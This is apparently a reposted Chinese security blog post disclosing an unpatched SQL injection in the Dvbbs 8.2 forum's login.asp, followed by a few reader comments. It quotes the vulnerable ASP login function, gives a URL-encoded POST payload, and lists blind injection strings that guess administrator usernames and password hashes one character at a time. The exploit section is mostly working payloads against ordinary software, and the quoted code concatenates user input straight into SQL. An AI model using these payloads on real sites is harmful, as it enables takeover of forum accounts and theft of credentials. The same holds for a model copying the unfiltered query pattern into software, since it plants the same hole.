Dvbbs8.2 access/sql 版login.asp远程sql注入漏洞

鬼仔注:这次来个详细的。

by where([email protected])

漏洞描述:
中国应用最广泛的论坛程序,最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp
Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号,导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。

漏洞等级:
高危

漏洞分析:
password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271

编辑说明下 刚有人问语句 具体就是
If ajaxPro Then username = unescape(username)
这个没有过滤
Login.asp 登陆


-----------------------------------------------------------------------------------------------------------------
Rem ==========论坛登录函数=========
Rem 判断用户登录
Function ChkUserLogin(username,password,mobile,usercookies,ctype)
Dim rsUser,article,userclass,titlepic
Dim userhidden,lastip,UserLastLogin
Dim GroupID,ClassSql,FoundGrade
Dim regname,iMyUserInfo
Dim sql,sqlstr,OLDuserhidden
FoundGrade=False
lastip=Dvbbs.UserTrueIP
userhidden=request.form("userhidden")
If userhidden <> "1" Then userhidden=2
ChkUserLogin=false
If mobile<>"" Then
sqlstr=" Passport='"&mobile&"'"
Else
sqlstr=" UserName='"&username&"'"
End If
Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,lastlogin as cometime , LastLogin as activetime,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday,UserMoney,UserTicket,FollowMsgID,Vip_StarTime,Vip_EndTime,userid as boardid"
Sql=Sql & " From [Dv_User] Where "&sqlstr&""
set rsUser=Dvbbs.Execute(sql)
If rsUser.eof and rsUser.bof Then
'strString("本论坛不存在该用户名[email protected]@@@0")
ChkUserLogin=False
Exit Function
Else
If rsUser("Lockuser") =1 Or rsUser("UserGroupID") =5 Then
ChkUserLogin=False
Exit Function
Else
If Trim(password)=Trim(rsUser("UserPassword")) Then
ChkUserLogin=True
Dvbbs.UserID=RsUser("UserID")
RegName = RsUser("UserName")
Article= RsUser("UserPost")
UserLastLogin = RsUser("cometime")
UserClass = RsUser("Userclass")
GroupID = RsUser("userGroupID")
OLDuserhidden=RsUser("UserHidden")
TitlePic = RsUser("UserTitle")
If Article < 0 Then Article=0
Set Dvbbs.UserSession=Dvbbs.RecordsetToxml(rsUser,"userinfo","xml")
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@cometime").text=Now()
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@activetime").text=DateAdd("s",-3600,Now())
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@boardid").text=0
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo").attributes.setNamedItem(Dvbbs.UserSession.createNode(2,"isuserpermissionall","")).text=Dvbbs.FoundUserPermission_All()
If OLDuserhidden <> CLng(userhidden) Then
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@userhidden").text=userhidden
Dvbbs.Execute("update Dv_user set userhidden="&userhidden&" where UserId=" & Dvbbs.UserID)
End If
Dim BS
Set Bs=Dvbbs.GetBrowser()
Dvbbs.UserSession.documentElement.appendChild(Bs.documentElement)
If EnabledSession Then Session(Dvbbs.CacheName & "UserID")=Dvbbs.UserSession.xml
Else
If ajaxPro Then
strString("用户名或者密码不正确[email protected]@@@0")
End If
ChkUserLogin=False
Exit Function
End If
End If
End If
-----------------------------------------------------------------------------------------------------------------

漏洞利用:(access版)
由于使用验证码,该漏洞只能纯手工进行注入尝试,在用户登陆页面,用户名处构造sql语句
如:

判断
Where’ and ‘1’=’1

where’ and ‘1’=’2
密码任意6位,输入验证码
根据返回信息,第一条显示用户名或密码错误第二条显示无此用户

猜解用户
where’ and 1=(select count(*) from dv_admin where left(username,1)=’a’) and ‘1’=’1
where’ and 1=(select count(*) from dv_admin where left(username,2)=’ad’) and ‘1’=’1
……………………….
……………………
…………………….

猜解密码(md5加密)
where’ and 1=(select count(*) from dv_admin where left(password,1)=’1′) and ‘1’=’1
where’ and 1=(select count(*) from dv_admin where left(password,2)=’15’) and ‘1’=’1
……………………
……………………
…………………..

简单测试官方sql版也存在漏洞,利用过程不写了

相关信息:
Dvbbs官方 http://www.dvbbs.net

漏洞分析及测试
由where首发
联系mail: [email protected]

补丁:
目前官方没有任何补丁,请等待升级补丁


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  • sunzn

    很强大!可怜的Dvbbs!

  • kof2008

    动网每年不出一两个0DAY,它都不好意思给人家打招呼

  • 一个人

    虽然不知道怎样利用。不过感觉很暴力

  • ben

    还好,可以自己写个小的检测程序挡一下,,,,
    另外我一向钟情于discuz的东西

  • 55888

    discuz就没漏洞吗?

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